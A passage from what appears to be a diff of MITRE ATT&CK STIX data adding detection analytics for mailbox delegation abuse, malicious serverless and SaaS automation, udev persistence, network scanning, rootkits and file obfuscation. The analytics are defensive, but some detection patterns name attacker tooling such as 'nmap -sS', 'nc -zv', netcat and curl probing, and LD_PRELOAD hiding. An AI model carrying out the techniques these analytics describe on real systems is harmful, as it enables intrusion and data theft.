"url": "https://attack.mitre.org/detectionstrategies/DET0373#AN1051", + "external_id": "AN1051" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1051", + "description": "Detection of anomalous or unauthorized mailbox delegation activity (e.g., Add-MailboxPermission, Default/Anonymous mailbox permissions, Gmail delegation setup).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "m365:unified", + "channel": "Add-MailboxPermission, UpdateFolderPermissions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DelegatePermissionLevel", + "description": "Threshold for unexpected delegate roles such as FullAccess or SendAs." + }, + { + "field": "FolderTargetScope", + "description": "Mailbox folder targeted by delegation (Inbox, Root, Calendar, etc.)." + }, + { + "field": "DelegatorToDelegatePairing", + "description": "Pairings of delegate and delegator users that are expected." + }, + { + "field": "MailflowAnomalyThreshold", + "description": "Spike in outbound mail after delegate addition, used to catch phishing or mass exfil." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--42d5a9d5-f897-4c45-b577-9b2c776c6c0d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0373#AN1052", + "external_id": "AN1052" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1052", + "description": "Execution of PowerShell commands that modify mailbox permissions using Exchange cmdlets (e.g., Add-MailboxPermission), often tied to BEC or post-compromise persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "PowerShell: Add-MailboxPermission" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PowerShellCmdletFilter", + "description": "Exchange cmdlets to include or exclude based on scope (e.g., Add-MailboxPermission, Set-MailboxFolderPermission)." + }, + { + "field": "ExecutionParent", + "description": "Flag suspicious script or interactive shell launch by non-admins." + }, + { + "field": "TimeWindow", + "description": "Window in which Add-MailboxPermission is followed by anomalous usage (e.g., SendAs events)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ecf190d1-5311-466f-a361-a33820b3c7b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0374#AN1053", + "external_id": "AN1053" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1053", + "description": "Correlate creation or modification of serverless functions (e.g., AWS Lambda, GCP Cloud Functions, Azure Functions) with anomalous IAM role assignments or permissions escalation events. Detect subsequent executions of newly created functions that perform unexpected actions such as spawning outbound network connections, accessing sensitive resources, or creating additional credentials.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "AWS:CloudTrail", + "channel": "CreateFunction / UpdateFunctionConfiguration: Function creation, role assignment, or configuration change events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "AWS:CloudTrail", + "channel": "InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RoleScope", + "description": "Which IAM roles or privileges are considered sensitive when applied to functions" + }, + { + "field": "AllowedFunctions", + "description": "Known baseline list of approved serverless functions to reduce false positives" + }, + { + "field": "TimeWindow", + "description": "Temporal threshold for correlating function creation with anomalous execution" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f8787a86-552b-4e03-8d68-7177001a215d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0374#AN1054", + "external_id": "AN1054" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1054", + "description": "Monitor for creation of new Power Automate flows or equivalent automation scripts that trigger on user or file events. Detect anomalous actions performed by these automations, such as email forwarding, anonymous link creation, or unexpected API calls to external endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "m365:unified", + "channel": "AddFlow / UpdateFlow: New automation or workflow creation events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:exchange", + "channel": "New-InboxRule: Automation that triggers abnormal forwarding or external link generation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Business units or users where automation creation is expected (developers, admins)" + }, + { + "field": "FlowActions", + "description": "Specific automation actions (email forwarding, file sharing) that should be considered suspicious" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8708dc0b-8eeb-4a3d-8770-2fab30f46682", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0374#AN1055", + "external_id": "AN1055" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1055", + "description": "Track creation or update of SaaS automation scripts (e.g., Google Workspace Apps Script). Detect when these scripts are bound to user events such as file opens or account modifications, and correlate with subsequent abnormal API calls that exfiltrate or modify user data.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "saas:appsscript", + "channel": "Create / Update: Deployment of scripts with event-driven triggers" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:googledrive", + "channel": "FileOpen / FileAccess: Event-driven script triggering on user file actions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptScope", + "description": "Which SaaS apps or APIs can be legitimately automated in the environment" + }, + { + "field": "TriggerTypes", + "description": "Event-driven triggers (e.g., on file open, on user creation) considered suspicious" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c1167779-9df4-4387-b777-4da097c6b033", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0375#AN1056", + "external_id": "AN1056" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1056", + "description": "Monitor for creation or modification of udev rules files in key directories (/etc/udev/rules.d/, /lib/udev/rules.d/, /usr/lib/udev/rules.d/). Look for RUN+= or IMPORT keys invoking suspicious binaries or scripts. Correlate this with process execution from systemd-udevd context, and file writes near udev reload/restart events. Combine this with unexpected background process spawning from udevd-related forks.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "chmod, write, create, open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:CONFIG_CHANGE", + "channel": "udev rule reload or trigger command executed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UdevRulePath", + "description": "Path to udev rules (may vary by distro or user configuration)" + }, + { + "field": "SuspiciousRunPattern", + "description": "Regex or string pattern to flag suspicious command executions in RUN+=" + }, + { + "field": "TimeWindow", + "description": "Max interval between rule change and execution to correlate activity" + }, + { + "field": "ParentProcess", + "description": "Expected parent of RUN-invoked commands (e.g., systemd-udevd)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--84299e85-2a7e-4f78-9767-3d29aa58857a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0376#AN1057", + "external_id": "AN1057" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1057", + "description": "Detects processes performing network enumeration (e.g., port scans, service probing) by correlating process creation, socket connections, and sequential destination IP probing within a time window.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScanRateThreshold", + "description": "Defines the number of unique destination IPs or ports accessed within a time window that may indicate a scan." + }, + { + "field": "KnownScannerExeList", + "description": "List of binaries allowed to scan or used by IT (e.g., Nmap, Nessus)." + }, + { + "field": "TimeWindow", + "description": "Temporal bounds for correlating sequential connections (e.g., 60 seconds)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--287661d0-714e-4bb4-a9f7-c272ad0018b1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0376#AN1058", + "external_id": "AN1058" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1058", + "description": "Detects use of network scanning utilities or scripts performing rapid connections to multiple services or hosts using auditd and netflow/pcap telemetry.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Outbound TCP SYN or UDP to multiple ports/hosts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PortScanThreshold", + "description": "Defines number of ports targeted per host within a short period." + }, + { + "field": "ToolPatternRegex", + "description": "Regex to match common scanner arguments (e.g., `nmap -sS`, `nc -zv`)." + }, + { + "field": "ExpectedScanSources", + "description": "Trusted IPs or systems performing routine discovery." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--28fbe1b0-9663-4997-9d4e-ef43803be114", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0376#AN1059", + "external_id": "AN1059" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1059", + "description": "Detects Bonjour-based mDNS enumeration or use of system tools (e.g., dns-sd, nmap) to find active services via multicast probing or targeted scans.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "dns-sd, mDNSResponder, socket activity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MDNSServiceQueryPatterns", + "description": "mDNS queries such as _ssh._tcp.local that may indicate service discovery." + }, + { + "field": "UserContext", + "description": "Adjust alerting based on whether discovery activity originates from a background daemon vs. interactive session." + }, + { + "field": "ScanToolList", + "description": "Expected tools that could trigger mDNS or TCP/UDP scans (e.g., dns-sd, nmap)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5d7b1be3-1c8a-40bf-a4d2-85e26dd82d76", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0376#AN1060", + "external_id": "AN1060" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1060", + "description": "Detects lateral discovery or container breakout attempts using netcat, curl, or custom binaries probing other services within the same namespace or VPC subnet.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "ebpf:syscalls", + "channel": "socket connect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "ebpf:syscalls", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "containerd:runtime", + "channel": "container-level outbound traffic events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutablePath", + "description": "Custom or renamed versions of tools may use different paths" + }, + { + "field": "TimeWindow", + "description": "Aggregation interval for identifying anomalous traffic" + }, + { + "field": "NetworkDestinationCount", + "description": "Tunable count of unique destinations to classify discovery" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--03f2259d-45c2-4422-83ad-58955f89350c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0377#AN1061", + "external_id": "AN1061" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1061", + "description": "Unauthorized or anomalous loading of kernel-mode drivers or DLLs, concealed services, or abnormal modification of boot components indicative of rootkit activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:Security", + "channel": "EventCode=7045" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DriverSignatureStatus", + "description": "Signed vs unsigned drivers; many environments restrict unsigned drivers, but some legacy systems allow them." + }, + { + "field": "TargetDirectory", + "description": "Suspicious driver or DLL drop locations, e.g., \\System32\\Drivers\\ or \\Temp\\" + }, + { + "field": "UserContext", + "description": "Rootkit installation via admin or SYSTEM account." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--62cf396f-01d6-4ab0-a3f5-bf75d90c2c40", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0377#AN1062", + "external_id": "AN1062" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1062", + "description": "Abnormal loading of kernel modules, direct tampering with /dev, /proc, or LD_PRELOAD behaviors hiding processes or files.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "linux:osquery", + "channel": "file_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "linux:syslog", + "channel": "kmod" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredDirectories", + "description": "Directories where kernel modules or tampering could be staged (e.g., /lib/modules/)." + }, + { + "field": "ModuleNamePattern", + "description": "Regex or heuristic match to anomalous module names (e.g., suspicious entropy or gibberish)." + }, + { + "field": "LD_PRELOAD", + "description": "Monitor presence of suspicious preload values that mask processes or files." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0248d3dc-266e-45c3-89e4-4865f9174cfd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0377#AN1063", + "external_id": "AN1063" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1063", + "description": "Execution of unsigned kernel extensions (KEXTs), tampering with LaunchDaemons, or userspace hooks into system libraries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.kextd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "macos:osquery", + "channel": "launch_daemons" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fsevents", + "channel": "Extensions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KextSignatureStatus", + "description": "Allowable level of unsigned/3rd-party kernel extensions varies by organization." + }, + { + "field": "KextLoadOrigin", + "description": "Detect whether the extension was loaded by an untrusted process or non-root user." + }, + { + "field": "AnomalousLaunchAgent", + "description": "Detection tuned based on deviation from known/approved LaunchDaemon plist files." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1dee558e-720e-4f3b-9414-192a63eb8909", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0378#AN1064", + "external_id": "AN1064" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1064", + "description": "Correlates script execution or suspicious parent processes with creation or modification of encoded, compressed, or encrypted file formats (e.g., .zip, .7z, .enc) and abnormal command-line syntax or PowerShell obfuscation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PayloadEntropyThreshold", + "description": "Tune entropy threshold to distinguish obfuscation from legitimate compression" + }, + { + "field": "TimeWindow", + "description": "Adjust correlation window between script execution and encoded file creation" + }, + { + "field": "SuspiciousParentProcessList", + "description": "Customize based on environment to include LOLBins or admin tools misused for obfuscation" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3e7ff1f9-57e2-44f4-8dc1-20d1a1652f73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0378#AN1065", + "external_id": "AN1065" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1065", + "description": "Detects use of gzip, base64, tar, or openssl in scripts or commands that encode/encrypt files after file staging or system enumeration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:cli", + "channel": "Shell history logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandRegex", + "description": "Customize for tools seen in environment (e.g., gzip, bzip2, xz)" + }, + { + "field": "SensitivePathList", + "description": "Specify file paths likely targeted for obfuscation (e.g., /etc/, /home/)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1c2e527f-b9ff-4e1d-896d-0c1257f0abc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0378#AN1066", + "external_id": "AN1066" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1066", + "description": "Monitors use of archive or encryption tools (zip, openssl) tied to user-scripted activity or binaries writing encoded payloads under /Users or /Volumes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'processImagePath contains \"zip\" OR \"base64\"'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilenameExtensionList", + "description": "Tunable to identify uncommon or encrypted file formats (e.g., .enc, .b64, .xz)" + }, + { + "field": "UserContext", + "description": "Tune to prioritize unexpected file access by service accounts" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--97a188cf-5851-4cb7-9bb5-17702707d52b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": 